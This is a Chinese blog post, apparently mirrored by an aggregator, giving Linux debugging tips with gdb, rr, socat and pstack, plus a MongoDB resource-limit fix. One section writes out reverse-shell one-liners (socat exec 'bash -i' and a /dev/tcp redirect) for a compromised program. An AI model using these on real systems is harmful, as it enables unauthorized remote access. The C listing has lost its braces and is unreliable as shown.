3

调试技巧2

 3 years ago
source link: http://maskray.me/blog/2015-03-14-debug-hacks-2
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

之前写过一篇《Debug Hacks》和调试技巧

CFLAGS使用-g3

对于重度使用macro的程序很有用,可以在gdb里使用info macro NAMEmacro expand EXPR等命令了,print参数里的macro也可以展开。

参见http://rr-project.org/,调试时最痛苦的莫过于难于重现,rr可以把不确定的外部影响固定下来。它的初衷是用来调Firefox的,由此可见它的可用性……幻灯片http://rr-project.org/rr.html介绍了很多内部机理,值得一看。

gdb -p不可用: ptrace: Operation not permitted.

gdb无法attach到用户相同的另一个进程上。Arch Linux、Ubuntu等很多发行版的内核默认设置了kernel.yama.ptrace_scope,参见https://lwn.net/Articles/393012/,即不具有CAP_SYS_PTRACE capability的进程只能ptrace它的后裔进程(子、孙、玄孙、来孙、晜孙、仍孙、云孙、耳孙等)。不特别在乎安全性的话,可以执行sudo sysctl kernel.yama.ptrace_scope=0

收到SIGINT(或其他信号)后立刻用gdb调试自己

设想是fork产生一个新进程并停下来,原进程exec成gdb并attach调试新进程。注意:新进程应设置以创建新的进程组,不然gdb按数次continue后自身也会被stop,gdb所在终端将丢失前台进程组。这里我不太清楚gdb被stop的具体原因,但进程组经常作为一个整体和信号、终端等概念相互关联,可能是这方面的原因。

这里SIGINT可以考虑换成SIGFPESIGSEGV等,以防止进程死亡,用gdb交互式检视各个变量的值等以便于差错。

https://gist.github.com/MaskRay/298e87e465f45988d37f

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
void sigint(int)
pid_t pid = fork();
if (pid == -1)
abort();
else if (pid) {
char s[13];
sprintf(s, "%d", pid);
execlp("gdb", "gdb", "-p", s, NULL);
} else {
setpgid(0, getpid());
kill(getpid(), SIGSTOP);
int main()
signal(SIGINT, sigint);
sleep(1337);
puts("seen after gdb");
sleep(1337);

调试使用终端特性的程序

对于ncurses这类使用终端特性的程序,在gdb下调试时,gdb交互的终端也会被程序使用,程序可能执行屏幕擦除、移动光标等操作,和gdb交互的输出混杂在一起,产生干扰。解决方案是使用gdb的tty命令(文档见info '(gdb) Input/Output')。下面以rlwrap rev为例说明调试方法。

使用coreutils中的tty命令(并非gdb的tty命令)获得当前终端的名称,如/dev/pts/13,然后创建新shell会话,假设终端名是/dev/pts/14,将用作被调试程序的标准输入、输出、出错。在这个新终端里执行sleep 9999(如果不执行这条命令的话,/dev/pts/14的前台进程组是shell,会抢夺终端输入,而sleep不会读取终端输入,因此不会和被调试程序竞争)。

然后回到原来的shell会话(/dev/pts/13),用gdb调试程序:

% gdb -tty /dev/pts/14 --args rlwrap rev
Reading symbols from rlwrap...(no debugging symbols found)...done.
(gdb) r

之后即可在/dev/pts/14和被调试程序交互了。或者用命令tty /dev/pts/14替代命令行选项-tty

注意,此时被调试程序的标准输入、输出、出错均为/dev/pts/14,但没有控制终端(controlling terminal),并且能在/dev/pts/14看到gdb的警报:warning: GDB: Failed to set controlling terminal: Operation not permitted。用strace调试gdb可以看到ioctl(3, TIOCSCTTY, 0) = -1 EPERM (Operation not permitted),即gdb尝试把/dev/pts/14设为被调试进程的控制进程,但失败了。因为/dev/pts/14是另外两个进程的控制终端(shell和sleep 9999),无法抢夺(参看man tty_ioctlTIOCSCTTY)。就我所知,与控制终端关联仅影响前台进程组的一些特性与信号递送,不影响终端模式的变更,对于多数程序用不着特定终端成为控制终端,只需有文件描述符指向终端即可,因此这个错误无关紧要。

参见http://dirac.org/linux/gdb/07-Debugging_Ncurses_Programs.php

socat

把不同输入输出端对接的瑞士军刀,是nc的进化型,支持非常多的网络协议、文件等IO方式。

下面演示如何把一个程序的输入和输出分别接到监听的某个socket的输出和输入上。

对弈的gnuchess

创建black.sh

#!/bin/zsh
{ echo depth 0; cat; echo exit;} | gnuchess -e | stdbuf -o0 grep -aPo '(?<=My move is : )\S+'

socat启动TCP服务端:socat tcp-l:4444,reuseaddr exec:./black.sh

创建white.sh

#!/bin/zsh
{ echo depth 0; echo go; cat; echo exit;} | gnuchess -e | tee /tmp/output | stdbuf -o0 grep -aPo '(?<=My move is : )\S+'

socat启动TCP客户端:socat tcp:0:4444,reuseaddr exec:./white.sh。之后即可在/tmp/output看到两个gnuchess进程的对局。执行gnuchess,输入depth 0后可以限制它的搜索深度(加快运行速度),输入go可以让它走一步。

写到此处,忽然想到之前NOI 2010团体对抗赛时,不了解这些东西的用法,浪费了很大工夫。

输入输出到终端的reverse shell

通常用system("sh")等方式搞的shell都不是interactive shell,没有提示符,也无法用readline的快捷键,不方便。下面介绍产生interactive shell的方法:

本地监听9999端口,等远端被pwn的程序连接:

socat stdio,raw,echo=0 tcp-l:9999
# 或者使用stty -echo raw; nc -l 9999; stty echo -raw

远端执行:

socat tcp:0:9999 exec:'bash -i',pty,stderr # 0应填之前监听9999端口的机器的IP

当然远端很可能没有socat,可以用util-linux包中的script

script -qc 'bash -i' /dev/null &>/dev/tcp/0/9999 <&1 # 使用了bash创建socket的功能

pstack

打印指定进程的系统栈。

本质是一段脚本,核心是下面这句话:

#!/bin/zsh
gdb -q -nx -p $1 <<< 't a a bt' 2>&- | sed -ne '/^#/p'

你应该把它保存到你的工具集里。新的gdb支持对单线程进程使用thread apply all bt了。

% pstack $$
#0 0x00007fc00a3a6866 in sigsuspend () from /usr/lib/libc.so.6
#1 0x0000000000471906 in signal_suspend ()
#2 0x0000000000442d56 in ?? ()
#3 0x0000000000443437 in waitjobs ()
#4 0x0000000000429b4b in ?? ()
#5 0x000000000042a6e1 in execlist ()
#6 0x000000000042a970 in execode ()
#7 0x000000000043c1dc in loop ()
#8 0x000000000043f30e in zsh_main ()
#9 0x00007fc00a393800 in __libc_start_main () from /usr/lib/libc.so.6
#10 0x000000000041013e in _start ()

安装新的gdb

gdb和gcc有一定的版本适配性,有些恶劣的工作环境需要自己编译安装gdb,下面只是我折腾C++ STL查看器的注记。

./configure --prefix=~/.local/stow/gdb --with-gdb-datadir=/usr/share/gcc-4.9/python

~/.gdbinit里添加:

python
import sys
sys.path.append('/usr/share/gcc-4.9/python')
from libstdcxx.v6.printers import register_libstdcxx_printers
register_libstdcxx_printers(None)

没有源码的环境调试

用sshfs或其他文件共享手段从其他机器上挂载源码目录,使用directory命令设置源码查找目录。另外还有set substitute-path,参见info '(gdb) Source Path'

MongoDB resource limits动态设置调试记

MongoDB使用mmap映射数据文件及分配内存,把内存管理的任务交给操作系统,造成内存使用量无法控制。我误以为resource limits中的RLIMIT_AS可以限制虚拟内存使用,
就在启动mongod前执行ulimit -v $[512*1024],效果是之后所有在shell里启动的新进程的虚拟内存都不能超过512MiB。

在测试写入性能时,发现过了很长时间也没有把所有测试数据插入成功。后查看日志发现这些记录:

2015-03-13T20:20:18.558+0800 [conn1] ERROR: mmap private failed with out of memory. (64 bit build)
2015-03-13T20:20:18.558+0800 [conn1] Assertion: 13636:file /tmp/db/test.2 open/create failed in createPrivateMap (look in log for more information)

大概每5秒钟会产生一段错误记录,估计和mmap有关。使用strace查看mongod及其所有子进程(包括当前和未来创建的)的mmap系统调用:strace -fe mmap -p $(pgrep -n mongod),产生大量重复的输出:

[pid 31551] mmap(NULL, 67108864, PROT_READ|PROT_WRITE, MAP_SHARED, 17, 0) = 0x7f2e58716000
[pid 31551] mmap(NULL, 67108864, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_NORESERVE, 17, 0) = -1 ENOMEM (Cannot allocate memory)

即以两个mmap为单元,不断输出这两行,注意到mmap(2)参数中的文件描述符fd,再列示已有的文件描述符ls -l /proc/$(pgrep -n mongod)/fd/。猜测这两个mmap都和数据文件(test.0test.1等)有关。后来再用pmap -p $(pgrep -n mongod)列示已映射的地址空间,发现与0x7f2e58716000(第一次执行的mmap的返回值)地址相近的都是些数据文件,印证了猜测。后来看/proc下该进程的相关信息,发现/proc/$(pgrep -n mongod)/limits列示的Max address space不正常,终于想到是先前ulimit -v限制了地址空间大小,导致了这个问题。之后有两个解决办法,一是关闭mongod,修改resource limits后重启,二是动态修改resource limits。为了好玩,自然选第二个。先要找出RLIMIT_AS的数值:ag RLIMIT_AS /usr/include/bits,发现是9,之后用gdb attach到mongod上修改resource limits:

$ gdb -p $(pgrep -n mongod)
(gdb) set $r = &{0ll, 0ll}
(gdb) p getrlimit(9,$r)
(gdb) set (*$r)[0]=-1 # struct rlimit { rlim_t rlim_cur; rlim_t rlim_max; } 要修改的项是rlim_cur
(gdb) p setrlimit(9,$r)

成功修改了resource limits!之后日志中果然出现了数据文件新建成功的信息,不再有mmap的错误了。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK